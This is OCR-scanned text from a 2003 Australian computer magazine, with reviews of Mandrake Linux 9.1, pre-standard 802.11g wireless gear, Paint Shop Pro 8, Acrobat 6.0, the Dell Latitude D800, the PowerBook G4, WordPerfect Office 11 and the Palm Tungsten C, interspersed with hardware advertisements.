Jeravnal - LifeBook P5010 

Intel® Centrino^“ Mobile Technology 

• Intel® Pentium® M processor 900MHz (Ultra Low Voltage) • Intel® PRO/ Wireless 2100 Network Connection • Intel® 
855GM Chipset • 10.6’’ Wide Super XGA Display • Microsoft® Windows® XP Pro/ Home 


Made in Japan. World Class. 


lifebook.com.au 1800 288 283 


FUJITSU PC AUSTRALIA 

Registered business name of Fujitsu PC Asia Pacific Pte Ltd ARBN 098 263 195 

Fujitsu recommends Microsoft® Windows® XP Professional for Mobile Computing 




Wireless connectivity and some features may require you to purchase additional software, service 
System performance, battery life, wireless performance and functionality will vary depending on yo 
marks of Intel Corporation or its subsidiaries in the United States and other countries. Microsoft i 
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LAPTOP-FRIENDLY 

le penguinistas will celebrate the inclusion of ACPI power- 
iiiaiidgement into this build, making Mandrake truly laptop-friendly. 
Hearing initial reports of the ACPI engine being a little flaky prompted 
us test-install Mandrake on several laptops, including the Dell D800 
(reviewed on page 54). Each test installation worked perfectly, and we 
were pleasantly surprised that the DrakX installer correctly configured 
screen and video chip settings. 

Anti-aliasing works more uniformly than in version 9.0 to 
smooth almost all onscreen fonts and reduce jaggies in browsers 
and file management windows. A new, simplified theme called 
MandrakeGalaxy is also available, which helps improve system 
responsiveness — a boon on older systems. 

Mandrake Linux 9.1 is available in four flavours: the Download, 
Standard, Power Pack and Pro Suite editions. The Download edition is 
the most basic, and contains no commercial applications, source code, 
support or documentation. The Standard edition adds 30-day support, 
start-up guides and desktop installation CDs. The Power Pack gives 
you source CDs, supplementary applications CD, 60-day support and 
substantial documentation. The top level Pro Suite edition also provides 
90-day Web support, phone- 
based installation support, server 
installation CDs and a workstation 
DVD installer. 

Boasting a simplified graphical online 

installer, a new, simplified theme, j- 

anti-aliased fonts, and a raft of the j 
latest and greatest popular Linux j- 
applications. Mandrake Linux 9.1 is i 
one ofthe simplest distros to get I- 
up-and-running. 

We hope that Mandrake's ^ 

financial issues are solved quickly p- 

— it would be tragic for the Linux ^ 

communityto lose such a valuable 
player. Verdic 

Matt Overington 


APC loved version 9.0 of Mandrake's flagship Linux 


product. And with 9.1, the company has pulled 
another rabbit out of its hat. 

Things move quickly in Linuxiand. Last year, APC examined the newly 
released Mandrake Linux 9.0 (October 2002, page 88) and we were 
very impressed. A slick installer, extensive package list and strong 
documentation helped Mandrake Linux take outour2002Technology 
Award for the best OS of the year. But the general success wasn't enough 
to save parent company, MandrakeSoft, from filing for Chapter 11 
bankruptcy in January 2003. 

Now, Mandrake Linux has released a new version that addresses 
someof the complaints that we levelled at 9.0. However, only time will 
tell if 9.1 ends up being Mandrake's final swan song. 

One ofthe best ways to get all the newest Linux packages onto 
your system is to install a fresh distro. At the heart of Mandrake 9.1 is 
kernel 2.4.21, backed up by GCC 3.2.2, Glibc 2.3.1, and XFree 4.3. Other 
notable packages include Apache 2, Samba 2.2.7a and OpenSSH 3.5. 

There's an extensive list of window managers including KDE 3.1, 
Gnome 2.2, IceWM 1.2, WindowMaker 0.8, Enlightenment 0.16.5, and 
even BlackBox, along with a horde of productivity applications featuring 
OpenOffice.org 1.0.2, KOffice 1.2.1 and version 1.2.3 ofthe GIMP. 

One ofthe biggest improvements is the new installer. This has been 
simplified to reduce the amount of options, and a revision screen has 
been added so you can finalise your changes before committing them 
to disk. It accurately detected the contents of four test systems that we 
used during the review, and although the Mandrake 9.0 installer wasn't 
weak, the new version is a definite improvement. 


ivianrjrake 9.1 


Magic Man 


Mandrake 9.1 features support for NTFS partition resizing: a 
great benefit to anyone who wants to try Linux on a Windows 
2000 or XP machine. You can resize existing NTFS and FAT 
partitions to make space for Linux volumes, swap space and 
configure your machine to dual boot without losing any data 
in the process. 

Wi-Fi support has also been included, along with Zero 
Configuration Networking (Zeroconf), which is designed 
to simplify network setups — particularly between two 
computers linked peer-to-peer. 

Another improvement is the automount feature. USB 
memory keys mount as soon as they're plugged into the USB 
port, which is an improvement on having to manually open 
a shell and mount them on /dev/sdaO each time you want to 
transfer a few files. While previous versions of Mandrake were 
able to automount CD-ROMs and DVDs, upgrading Mandrake 
to support DiskOnKey devices is a wise move. 
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Unfinished 

business 


With the 802.11g wireless standard running six 


months late, some manufacturers have decided 
that near enough is good enough. It isn't. 

Eager for sales and market share — especially in the fast-growing 
wireless networking area — vendors are shipping 802.11g gear before 
that standard gets the green light. After all, why sell someone a 
Wi-Fi solution when you can tempt them with the promise of 54Mbit/s 
speed, compatability with existing Wi-Fi networks at lIMbit/s and a 
flash upgrade to the offical 802.11g spec once ratified. 

But without a finalised standard, no-one can claim to have truly 
802.1 Ig-compliant hardware. The result is a rash of quasi-802.11g 
products marketed with badges like "54g"and "llg". 

So what's in a name? APCtested some of the first wanna-be “g" 
products from SMC and Belkin. Each had one of the two desirable traits of 
wireless networking — speed and signal reach — but neither had both. 

SMC GOES THE DISTANCE 

SMC's Barricade broadband router and EZ Connect PC Card had a range 
comparable to the company's 802.11b products that we tested last 
month (APC May, page 72), but with higher throughput speeds when in 
closer proximity to the access point. 

At four metres from the access point with a direct line of sight, 

SMC's llg gear produced an average throughput of 1.2MB/s, with a 
peak of 2.37MB/S, when transferring 300MB of test files. While this is 


SIviC and Belkin SAMhit/s wireless 


► Bleeding egde; early adopters of pre-802,ng products should have 
low expectations of speed, signal reach and even compatibility. 


a welcome 250% faster than their Wi-Fi equivalents, it's only half the 
promised 500% increase based on 802.11 g's theoretical limit of 54Mbit/s. 
Beyond four metres the PC Card dropped back to 11 Mbit/s to obtain 
a more reliable signal. The llg-grade card was more susceptible to 
interference and signal shadows than SMC's 802.11 b card. 


BELKIN BENDS THE NEEDLE 

Belkin's 54g Access Point and PC Card are cheaper than SMC's counterparts, 
and while they had the edge in speed, they couldn't match SMC for signal 
reach. Inside APC Labs, the Belkin 54g PC Card and access point clocked 
an average 1.57MB/s with a peak of 2.35MB/s for file transfer tests 
— three times what you'd get from Wi-Fi, although the throughput of 
18.8Mbit/s remains well short of the implied 54Mbit/s you'd expect from 
a product branded as "54g". 

Once we stepped outside the labs area, the signal petered away 
rapidly at places where SMC'c llg kit and every piece of Wi-Fi gear we've 
tested were still going strong. 

Belkin also offers a Cable/DSL gateway router with similar 
functionality to SMC's router, but it comes with built-in content 
filtering software that is regularly updated for a $50 
per-annum subscription. 


CAN'T WE ALL JUST GET ALONG? 

An even larger concern than shortfalls In speed and distance is the 
issue of compatibility between different brands of g-rated products. 
The Belkin PC Card detected and connected to the SMC access point 
as easily as with its own base station, but only with the operating in 
802.11b-compatibility mode. 

This made it impossible to 
establish a link faster than IIMbit/s, 
and highlights the differences 
that exist between each vendor's 
interpretation of the proposed 
802.11g standard. 

These problems should 
disappear once the standard 
is ratified, as all manufacturers 
will then be using an identical 
specification. Manufacturers 
are promising to post firmware 
upgrades on their Web sites once 
802.11g is ratified, to bring pre-g 
gear in line with that spec. 

This should resolve the 
compatibility issues and allow 
802.11g product to interconnect 
as easily and effortlessly as current 
802.11b product. Plus, it gives a leg- 
up to performance and signal range. 

Our advice is to hold off on 
pre-g products if you can. But, if 
you've got to have the latest or 
want future-proof your wireless 
network, buy all your gear from the 
same manufacturer. 

Paul Robinson 
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AUTOPILOT 

"Auto-actions" enable PSP to automatically perform all the 
operations necessary to make a command available when 
required. For example, suppose you wish to apply a Truecolor 
effect to an indexed image: instead of disabling the command, 

.0 makes it available to you and confirms the appropriate 
! conversion required to apply the effect. The behaviour of 
, actions is also configurable. 

The most surprising innovation is a full-blown. Python-based 
scripting engine that lets you to record, automate and batch-process 
virtually any sequence of commands in the application, including 
brush strokes. You can write scripts from scratch, although most 
people will rely on the built-in script recorder. 

PSP 8.0 ships with more than a dozen tools and commands for 
correcting and adjusting digital photographs. While most are useful, 
the Redeye Removal command has far too many controls, demanding 
way too much tinkering. You'll achieve better results in a shorter period 
of time by using traditional techniques, such as airbrushing, burning or 
channel mixing. 

Aside from a few minor shortcomings, such as limited PNG support 
(no 16-pbc or indexed alpha support) and the lack of integrated 
animation capabilities, PSP 8.0 has a wealth of full-featured Web tools. 
Unfortunately, we found many of them awkward. 

For example, both the Image Slicer and Image Mapper are 
launched in a dialog box, meaning that even for a medium-resolution 
image, a great deal of scrolling and panning is required inside the 
preview pane. Both of these 
commands would work better as I 
tools, which could be used directly I 
in the image window. 

We were also disappointed that 
the GIF, JPG and PNG Optimizers 
launch in separate dialogs. This 
assumes that you know in advance 
which image format to use, when 
in many cases you'll probably want 
to see which format yields the best 
quality and the smallest file size. It 
would be preferable to see these 
amalgamated into a single 
"Web-format Optimizer". 

Trevor Morris 


Paint Shon Pro 8.8 


Shop *tll 
you drop 

The popular graphics powerhouse gets a new look 
and gives Photoshop something to worry about. 

It was 12 years ago that Jasc's plucky graphics program took its first 
steps as an image viewer and file conversion utility. Paint Shop Pro has 
since matured into a full-blown graphics powerhouse that's widely 
regarded as a cut-price competitor to Adobe Photoshop. And version 
8.0 is only going to strengthen PSP's reputation. 

Those familar with this software will notice the redesigned interface, 
displaying a reorganised menu structure and new toolbar icons, but the 
changes are sensible and make the app far more intuitive. The interface 
is also highly customisable, so you can create your own menus, toolbars 
and keyboard shortcuts. These changes can be saved as a "workspace" 
which can be applied to another PSP 8.0 installation; you can also 
switch between several workspaces setup for different tasks or users. 

The rewritten paint engine makes it easier to emulate natural 
media brushes and effects, although editing with the Text tool is still 
performed in a dialog box rather than onscreen, making it difficult to 
preview your edits. What's more, universal keystrokes like Esc 
(to cancel) and Enter (to confirm) don't work for tool operations. 

POLISHED PALETTES 

A number of palettes have been sweetened. The enhanced Tool 
Options palette enables quick customisation of each tool's various 
parameters in a single location, while Tool Presets can save brushes 


and tool settings. The Layers palette helps simultaneously 
visualise the properties for every layer (such as visibility, opacity, 
masks, grouping, linking and layer type), and provides detailed 
layer thumbnails when you mouseover a layer. 

All of the command and effects dialog boxes are scalable 
and sport larger Original and Preview panes with zoom and pan 
capabilities. Each dialog is supported by a host of custom controls 
and excellent visual aids, all of which appear well thought-out. 

We especially like how the Histogram Adjustment dialog 
displays both the current and working image histograms using a 
dynamic overlay, and the ability to save individual dialog settings 
as presets is a great asset. One feature we'd liked to have seen is 
a reset button, as PSP requires you to cancel out of and re-enter a 
dialog box to reset the various controls. 
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Networks 


Total Wireless Solutions 


SMC 2804WBR 54 Mbps 
SMC 802.11g Latest Technology 



































Apple PowerBook G4 17in 


Think big, 
vpry big 


POWER AND COMPROMISE 

The PowerBook's specs are designed to entice video pros — especially 
the 1 GHz G4 processor (with 1 MB of L3 cache and a 167MH2 system 
bus) married to 512MB of RAM. But while this would be a lightweight 
roster in the Windows world, on the Mac platform it's blisteringly fast. 

Sadly, the PowerBook's hard disk and video subsystems are B-grade 
players in this otherwise all-star cast. Spinning at a lazy 4,200rpm, the 
60GB drive can't match the 5,400rpm disks found in most laptops or 
the 7,200rpm desktop drives. The choice of the GeForce4 440 Go — 
nVidia's second-slowest mobile graphics card — backed by a maximum 
64MB of video RAM, sets the stage for another disappointment. 

Comparing the 17in PowerBook to a reference system (a 700MHz 
eMac with 640MB of RAM) using the Macintosh Xbench benchmarking 
software, the PowerBook's combined Xbench score of 93.62 raced past 
the eMac's 61.5, which will please general users. The difference between 
these systems' AltiVec scores was even greater — 107.25 versus 48.17 
— which will win over anyone reliant on software that employs this 
graphics acceleration toolkit, such as Photoshop. However, poor scores 
on Xbench's basic disk test, registering 57.12 versus 67.15 for the eMac, 
will concern video editors who rely on fast hard disk transfer rates. 


Apple's new 17in PowerBook G4 has everything a 
video editor could want — except a fast hard disk. 

Laptops in the boardroom? Been there. Laptops in the lounge room? 
Done that. So Apple's new 17in screen PowerBook G4 is here to claim 
new territory: the design studio and the edit suite. 

It's the sheer size of this PowerBook that hits you, until you flip the 
lid and discover the reason for its massive 39 x 26cm footprint — a 
whopping 1,440 x 990 pixel display. Anyone who doesn't need to view 
a complete magazine layout or twin video tracks at a single glance 
should instead opt for Apple's 15inor 12in screen PowerBooks, if only 
to avoid lugging around a 3.1kg notebook. 

It isn't just the widescreen display that's tailored for the 
video professional. The PowerBook's I/O array includes the new 
turbocharged FireWire 800 interface, which throttles along at 
800Mbit/s. As FireWire 800 peripherals have yet to hit the market, 
users will appreciate that the port is fully compatible with the original 
400Mbit/s FireWire spec. You also get DVI/VGA out, for attaching a 
television or second display, and S-Video out (for exporting the edited 
movie to a VCR or other equipment). 

The bundled software includes the latest versions of iMovie and 
iDVD, for consumer-level DVD authoring using the PowerBook's built-in 
DVD-R/CD-RW drive. However, the typical owner of a 17in PowerBook 
is more than likely to spurn these offerings for the likes of Final Cut Pro 
and DVD Studio Pro, which add another $3,000 to the deal. 


THE POWERBOOK EXPERIENCE 

Using the 17in PowerBook is generally a magnificent experience. The 
laptop's metal finish has a sleek, solid feel. The keyboard automatically 
switches on its eerie backlighting whenever the PowerBook enters 
darkness, and adjusts its degree of illumination (as well as that of the 
screen) to suit changes in the ambient light level. The laptop blitzed 
the all-important Spinal Tap DVD battery-life test, using 65% of its juice 
in 83 minutes. The huge, high-quality screen is superb, and while the 
large built-in speakers don't handle DVD movie sound well, they're still 
better than the tweeters found in most laptops. 

Two antennae hidden inside the PowerBook's lid are used when 
making a connection through the built-in Bluetooth or wireless 
transceivers. Another trait of the PowerBook is its new "AirPort 
Extreme" wireless technology based on the draft 802.11g specification, 
which provides for speeds of up to 54Mbit/s as well as backwards 
compatibility with 802.11b Wi-Fi 
gear at 11 Mbit/s. 

The 17in PowerBook won't 
replace desktop Macs with 
multiple processors and PCI cards 
favoured by the video pros, but 
despite a few shortcomings it's still 
the first ever notebook to meet 
their needs. 

Steven Noble 
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Up to 60%* Cheaper with poliomproniise on quality 


Made with top quality Swiss Inks, New Peach Compaflbles offer 
a fresh, high performance alternative to a wide range of HP, 
Canon & Epson cartridges, without the high price tag! 


Independent tests show page output and colour intensity are Just 
as good as existing brands, and every cartridge comes with a 
100% money back performance guarantee. So why pay more? 
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Acrobat 

leaps* ahead 


Version 6.0 makes it even easier to read and create 
documents in the popular PDF format. 

In the eyes of Adobe, every computer user in the world 
■alls into one of two categories: people who read 
EDITOR’S ^ PDF documents, and people who create PDFs. The 
ju5*^®*5^’***^ company's step up to version 6.0 of its "universal 

document" platform — which now runs on everything from 
desktop PCs to Palm handhelds — affects users in both camps. 

The success of the PDF format has led to the rebadging of the new 
Acrobat reader as Adobe Reader 6.0. It's a move aimed at fencing off 
the Acrobat brand to distinguish between the applications that create 
PDF files and the free PDF viewer. 

New names aside, Adobe Reader 6.0 picks up some additional 
tricks, including support for viewing Photoshop Album slide shows 
and reading PDF-based eBooks, a task formerly handled by Adobe's 
separate eBook Reader. 

With release 6.0 of the PDF creation toolset, Adobe has reconciled 
the confusing raft of Acrobat tools (such as Acrobat Approval, Distiller, 
Capture and PDF Writer) into three core packages. 


ELEMENTARY 

The most basic of these is Adobe Elements, which is aimed at office 
workers who need to convert Microsoft Word or Excel documents into 
PDFs. Elements grafts a button onto the toolbar of each app, reducing 
the PDF creation process to a single click. As appealing as this product 




sounds, it's only available to businesses under a volume licence deal 
that sets a minimum purchase of 1,000 licences at $70 each. 

The only two Acrobat 6.0 products that you'll see on the shelf are 
the new Standard and Professional packages. Acrobat Standard 6.0 
is aimed at users involved in document workflow where mark-up 
and revision capabilities are required. The package has strong 
commenting tools and streamlined settings for PDF security levels. 

The high-end Professional version beefs up editing tools and 
output control, and allows for the creation of electronic forms as well 
as incorporating print-oriented "pre-flight" tools. 

HOW DO I? 

The interface and menu structure of the Acrobat 6.0 family have 
changed so dramatically that experienced Acrobat users should 
set aside some familiarisation time. New menu options and toolbars, 
together with the addition of task-based buttons, reflect the 
"Flow do I?" focus introduced in Photoshop Elements. 

For the first time. Acrobat users can now find simple answers 
to simple questions, such as: how do I control the size of my PDF 
document for printing and email? Flow do I resave my PDF at a lower 
resolution? And most importantly, how do I make a PDF? 

And while many editing, security and multimedia features have 
been introduced in Acrobat 6.0, the most useful improvements revolve 
around the most rudimentary task: making it easier to create a PDF. 

For example, users can now combine any number of files — Word 
documents. Excel spreadsheet, PowerPoint presentations, images 
and even Web pages — into a single PDF. A toolbar button in Internet 
Explorer lets you automatically save an entire Web site as a PDF, with all 
links intact (to a user-specified number of link levels). 

Adobe has also greatly improved the clumsy implementation of 
reviewing and commenting tools in Acrobat 5.0. With 6.0, several 
people can workshop a proposal document with automatic updating 
of comments, and it actually makes sense. And the ability to transfer 
changes via email, rather than recreating and distributing the full PDF 
document, will be welcomed by the many remote workers making do 
with dialup connections. 

Multimedia formats supported in Acrobat Professional 6.0 include 
embedded Flash, QuickTime and MP3, allowing you to integrate audio 
and video content inside a PDF. Multimedia elements in PowerPoint 
shows remain active and accessible inside a PDF. 

One irritating quirk is that Acrobat 6.0 won't install unless 
earlier versions of the software have been removed. You'd think 
that an application as mature as Acrobat 6.0 could automatically 
update all Acrobat 5.0 files, or at least remove the previous version 
as part of the setup routine. Thankfully, the Acrobat 5.0 Reader 
remains loaded, for those users wanting to check the backward 
compatibility of their PDFs. 

That aside. Acrobat 6.0 is a solid 
product and a worthy upgrade. 

To avoid the slug of nearly $1,000 
for the top-of-the-line Acrobat 
Professional, take advantage of the 
great upgrade deal. If you can dig 
out a dusty copy of Acrobat 4.0 
or later you'll slash $650 off the 
full ticket price. 

Denis Gallagher 


j Contact ^ Adobe Australia 
Phone 1300 550 205 ■ 


Acrobat Standard 
6.0, $599: Acrobat 
Professional 6.0, $949 
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The 


Name in 

Wireless 

Con Htivity. 

NEC VERSA S900 


Introducing NEC VERSA S900 powered by Intel® Centrino " Mobile Technology 

NEC VERSA S900 powered by Intel" Centrino" Mobile Technology has all the benefits that give you so much freedom to achieve more, Wireless connectivity. 
Longer battery life. Outstanding performance with power-packed features. And it’s lighter and fits into all PC designs.That makes VERSA S900 worthy of its name. 



Available from these 

NEC Premium Resellers 


Ask for NEC Extended Warranty 
NEC recommends Microsoft® Windows® XP 


Harris Technology 

1300 139 999 


iLaptops 

NSW; (02) 941 I 8600 


PCS Australia The Laptop Company 

NSW: (02) 9637 1300 Qld: (07) 3367 3333 


Notebooks R Us: CX Computers 

St KildaVic: (03) 9593 6620 NSW: (02) 9233 6288 


Portacom 

WA: (08) 9481 1565 


Peats Office Equipment 

Vic: (03) 5482 2470 


Also available from selected Harvey Norman, David Jones, Domayne and Dick Smith stores. 




Empowered by Innovation 



NEC Computers 











Dell Latitude D800 


Mas&lve* 

attack 


You want a light, slimline laptop? Look elsewhere. 


40GB Hitachi hard disk and a GeForce 4 Go 4200 GPU under the grey 
keyboard. A wide-screen display, running at a native resolution of 
1,920 X 1200 pixels, gives the D800 a leg up on its way to being a decent 
mobile graphics workstation, and is ideal for watching DVDs. 

The D800 doesn't feature Intel's PRO wireless LAN adaptor, so it 
can't be labelled a true Centrino notebook. Bluetooth, gigabit 
Ethernet and 802.11 b wireless support are provided by a Dell 
TrueMobile 1300 chipset, which takes the place of the Intel version. 
Although the D800 can't boast the Centrino branding, the 
TrueMobile chipset worked acceptably in lab tests at close range 
to the base station. 

Unfortunately, the aerial doesn't appear to take advantage of the 
generous real estate found around the screen, and our tests showed 
the signal-to-noise ratio dropping off quickly when the machine was 
moved more than 15m from our Wi-Fi base station. 


WELL CONNECTED 

The D800 comes with just about every type of port available: 

including serial, parallel, USB 2.0, FireWire, Ethernet and modem 
jacks. Headphone and microphone connectors are included, along 
with VGA/S-Video ports, making the D800 one of the most flexible 
notebooks on the market. It's rare to find a notebook that's so well 
connected. In fact, most modern desktops don't feature so many ways 
to plug in external devices. 

A good portion of the DBOO's weight can be ascribed to the battery. 
Dell has fitted a cell in keeping with the massive scale of the machine. 
The 73,500mWh unit is the biggest we've seen on a Pentium M-based 
notebook, and gave a running time of three hours and 47 minutes 
under MobileMark 2002. This isn't as long as some true Centrino 
notebooks that we've seen, but the DBOO's massive screen and 
powerful processor reduced its battery life. 


Portable powerhouse: the Latitude is designed for 
serious road warriors, or as a desktop repiacement. 


This is your big boy, and it packs one mighty wallop. 

Variety is the spice of mobile life. Most vendors now have a suite of 
light, lean machines for corporate fleets; stripped-back budget units; 
balanced performers that boast both long battery life and impressive 
performance, and all-out desktop replacements. 

A thin, lightweight notebook might suit a uni student, advertising 
executive or someone who can get back to a powerful desktop 
workstation for heavy computing, but it will baulk at the demands of 
a meaty CAD or mapping application. Similarly, desktop replacements 
are traditionally power-hungry behemoths that can run at full tilt only 
for short bursts without depleting battery stores. 

HEAVY DUTY 

The D800 tips the scales at a massive 4kg with a battery, CD-RW/DVD 
combo drive, and a 40GB hard disk. It's designed for anyone doing 
serious computer-based work outside the office. 

The D800 is extremely comfortable to use, provided you've got 
a stable desk to work on. The keyboard even feels like a regular one, 
with wide spacing and long travel, plus the Latitude is spec'd with both 
a trackpad and a pointer stick for navigating the cursor. In cramped 
conditions the weight and excessive bulk become more obvious, but 
the D800 isn't designed for the jet set digerati. 

Dell has worked to ensure the D800 packs a punch and has 
grouped a 1.6GHz Pentium M processor with 512MB DDR SDRAM, a 


BENCHMARKS 

Our benchmarks were run with the LCD backlight on its medium 
brightness setting — power-conscious users could turn down the 
backlight and eke out a little extra running time. If the D800 were to be 
only used for light word processing with the screen at its lowest contrast 
setting, it's not unreasonable to expect more than four and a half hours 
of battery life. But you wouldn't buy this beast for such modest tasks. 

The D800 streaked to a score of 44.6 under Winstone 2001, which 
places it at the top of the portable heap. The screen works against the 
large battery to reduce running time to less than four hours, but this 
is still substantially more than we 
would've expected using a 
Pentium 4 Mobile processor. 

The benchmark scores are up in 
the range provided by notebooks 
sporting desktop processors, but 
the Latitude's battery life eclipses 
these hybrids. The D800 is best 
suited to a road warrior who needs 
a no-compromise powerhouse 
when out of the office. There are 
definitely smaller, lighter laptops 
out there, but a more powerful one 
is hard to find. 

Matt Overington 
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► Could do better; WordPerfect does 
surprisingly little to bring the complexities 
of XML into the orbitof white-collar workers. 


Not pe*rfe>ct 

enough 

While WordPerfect Office 11 is a good program in its 
own right, it's still not a true rival to Microsoft Office. 

We had high hopes for WordPerfect Office 11, the latest super-suite 
from Corel and would-be slayer of Microsoft's Office XP and Office 
2003 packages. It embraces XML,and its low price plays off corporate 
discontent over Microsoft's contentious Licensing 6.0 scheme. But in 
the end, despite making a solid attempt to woo customers from the 
home and business ranks, Corel may find it's just not enough. 

WordPerfect Office provides most, but not all, of the key 
productivity tools required by the typical office worker. You get 
WordPerfect 11, Presentations 11, the Quattro Pro 11 spreadsheet and 
Paradox, a relational database development system (all of which can 
read and write the file formats of their Office XP counterparts). 

The obvious omissions are email and groupware — Corel offers no 
counterpart to Outlook. The best it does is provide an address book 
that can access data from Outlook's own address book. WordPerfect, 
Quattro Pro, Presentations and Paradox provide almost all the features 
oftheir Microsoft equivalents. 

Often, the only difference between WordPerfect and Word is the 
name of each program's interface elements. Do you merge the cells 
of a table, a la Word, or join them, as with WordPerfect? It makes no 
difference, except when Corel tosses you a googly, such as burying the 
word count feature in the File Properties window. 

The programs in WordPerfect Office do have a few features not 
found in their Office XP opposites. For example. Presentations 11 can 


save slide shows as SWF (Flash) animations for the Web. Quattro 
Pro can process regional data and turn coordinates into a map. 
WordPerfect's Make It Fit feature is handy for squeezing reports into 
the required number of pages with a much finer degree of control 

size, line spacing and margins than Microsoft Word's Shrink 
To Fit. And numbering lines and paragraphs (a common requirement 
in legal documents and government reports) is logical and simple 
with WordPerfect: choose Format, Line, Numbering. Word's 
implementation of the same feature requires the user to go on a 
treasure hunt until it's found deep inside the Page Setup dialog box. 

XML EXTRAVAGANZA 

XML provides a logical and flexible system for defining data 
formats — ideal for exchanging data between applications or even 
between companies. WordPerfect has supported XML authoring, 
editing and validating since version 9, but it's only in Office 11 that the 
format gains the maturity needed to be a major selling point. Quattro 
Pro can open XML files as spreadsheets, while WordPerfect can export 
word processing documents to a range of XML formats, including 
DocBook, which is commonly used for storing and exchanging 
technical manuals. 

Yet WordPerfect does surprisingly little to bring the complexities of 
XML into the orbit of the typical white-collar worker — for example, it 
fails to offer the sensible insertion of a <title> or <meta> tag whenever 
the user right-clicks in the <head> area of an XML Web page. Lacking 
such courtesies, the user may put aside WordPerfect and instead 
preview XML in a browser and craft it by hand in a text editor. 

The only users who'll be blown away by the suite's XML support 
will be developers. For example, the US Patent and Trademark Qffice 
programmers have already created a template-and-macro add-on for 
WordPerfect that allows Inventors to draft and submit their own patent 
applications electronically. 

The same degree of functionality is slated for Office 2003, but with 
that release now slipping as late as October, Corel has many months' 
headstart on the Redmond juggernaut. 

STUCK IN THE MIDDLE 

IT managers have widely condemned Microsoft's Software 
Assurance licensing program as a confusing model, which is 
essentially another grab for money. Retail copies of WordPerfect 
Office 11 cost 40% less than Office XP, while site licenses are 
based on a simple and transparent 
formula, beginning at $250 
per seat, for up to 10 users. 

So all factors point 
towards this being the year for 
WordPerfect, right? Wrong. Corel 
will find itself caught between 
the might of Microsoft and the 
open source movement. Large 
companies have found a simpler 
way to save money — stick with 
Office 2000, or download the free 
OpenOffice.org. 

Steven Noble 
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Corel Australia 

Phone 
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1 Online 

www.csreLcom.au 
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SMALL BUSINESS 


> Affordable solutions that 
work as hard as you do. 



> 


hp server tc2120 

• Intel* Pentium* 4 processor 2.53GHz/533MH2 front-side-bus 

• 256-MB standard memory with Advanced ECC capabilities, expandable to 4 CB 

• 36.4-CB Wide Ultra3 or 40-CB ATA/100 7200 rpm standard hard drive 

• Integrated Dual Channel Ultra ATA/100 Adapter or a Single Channel Wide Ultra3 
SCSI Adapter (SCSI Models) 

• 5 expansion slots 

• Integrated ATI Rage XL video controller with 8MB SDRAM video 

• 250W Power Supply 

• NC7760 PCI Gigabit NIC (embedded) 10/100/1000 WOL 

• 1 year limited warranty 


from 


$ 1,895 


These HP servers offer you a reliable, expandable 
and cost efficient way to get the most out of 
your technology. HP ProLiant servers address 
the needs ofsmall-to-medium businesses 
requiring server and storage solutions. 

They're specifically designed for small database 
and infrastructure applications, such as 
file-and-print, domain, or web servers. 


> 


hp ProLiant ML310 server > 

• Intel* Pentium* 4 processor 2.53 or 2.8CHz/533MHz 

hp ProLiant ML350 C3 server > 

• Intel* Xeon™ processor 2.2 or 2.4GHz/400MHz 

front-side-bus 

• 256-MB standard memory with Advanced ECC 

• 256-MB standard memory with Advanced ECC 

■ 36.4-GB Wide Uitra3 or 40-GB ATA/100 

capabilities, expandable to 8 GB 
• Integrated Dual Channel Wide Ultra3 SCSI Adapter 

• integrated Dual Channel Ultra ATA/100 Adapter or a 

Single Channel Wide Ultra3 SCSI Adapter (SCSI Models) 

• 5 expansion slots 

• 500W Hot-Pluggable Power Supply 

• NC7760 PCI Gigabit Server Adapter 

• Integrated ATI Rage XL video controller 

(embedded 10/100/1000) 

• Server management with Insight Manager™, 

with 8MBSDRAM video 
• 300W Power Supply 

SmartStart™, ROM-based BIOS Setup Utility, 

(Integrated/Embedded) 

• 3 year limited warranty 

from $ 2,495 

from $ 3,295 


hp ProLiant ML370 G3 server 

• Intel* Xeon™ processor 2.8GHz 

• Processor Standard, up to 2 supported 

• 512-KB second-level ECC cache 

• 512 MB to 12 GB PC2100MHz Registered DDR 
SDRAM DIMM Memory Kit 

• Compaq NC7781PCI-X Gigabit NIC 
(embedded) 10/100/1000 WOL (embedded) 

• Integrated Dual Channel Wide Ultra3 SCSI Adapter 

• No hard drives ship standard 

• 1.174TB maximum internal storage with optional 
hot plug SCSI & drive cage 

• 48x IDE CD-ROM Drive 

• Available in 5U tower or rack form factor 

from $ 5,795 


FOR MORE INFORMATION 


Call 13 23 93 
www.hp.com.au/proliant 
Visit your local reseller 



(B2003 Hewlett-Packard Australia Ptv Limited. Intel,the Intel Inside Idro, Pentium and Intel Xeon are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries. While stocks last. Offers only valid 

in Australia.AII prices quoted are recommended retail prices including CST and excludedelivery. Reseller prices may vaiy.Conditions apply. All brand and product names are trademarks or registered trademarks of theirres^ctivecomjames.Alinfomatoti 

Is subject to change without any prior notice. Photographs are for illustrative purposes only and may vary from products depicted. All specifications are subject to change without notice. Information correct as at 5/03/03. HEP0335/SB/APC/PCW 




















Hand-to-hand 

combat 


Palm takes the PDA fight to Microsoft's home turf 
with a 400MHz Intel CPU, 64MB of memory and Wi-Fi. 


Palm has sent its latest handheld to the gym to pump serious iron — or 
in this case, Tungsten. The result is the most powerful Palm yet. 

The brawny 400MHz Intel XScale PXA255 processor matches the 
best Pocket PC powerplant, with a beefy 64MB of RAM. Even with 13MB 
given to the extra-large system heap, the remaining 51 MB will thrill 
users struggling against Palm's traditional 16MB ceiling. 

Integrated Wi-Fi also helps the Tungsten C close the Pocket PC gap. 
We effortlessly hooked into the APC Labs network, as well as public 
Xone hotspots in North Sydney, although the low-power transmitter 
and embedded antenna limited the C's reliable range to within line of 
sight to each access point. 

The trade-off is a battery life that shouldn't leave you dry and 
disconnected in a hurry: we squeezed six hours flat out with a game 
running in looped demo mode, so you should be able to expect a few 
hours of Wi-Fi access from the C's 1,500mAh lithium ion cell. 

The slick wireless setup wizard scans for available networks (you 
can also enter an SSID if the access point is running silent) and supports 
WEP encryption and manual configuration of IP and DNS addresses. 
Other enterprise sweeteners include secure VPN tunnelling and a MAC 
address printed on the C's back panel for networks with per-device 
access control. Each network's settings are saved in a profile, with 
automatic polling making it easy to roam between hotspots — a trait 
certain to appeal to corridor cruisers. 


Palm Tungsten C 



Zoom zoom; the Tungsten C’s400MHzXScale CPU leaves the 145MHz Tungsten T 
eating digital dust, while the classic Vx just sits there and cries. 


To complete the wireless offering, the Tungsten C comes with 
best-of-breed Web browser and email clients. 

The Palm-badged browser supports JavaScript, proxies, SSL and 
cookies. Unlike most PDA browsers, it acts like a desktop client for full 
site functionality and rich visuals. The downsides are slow loading 
speeds and a lot of scrolling compared to slimmed-down mobile 
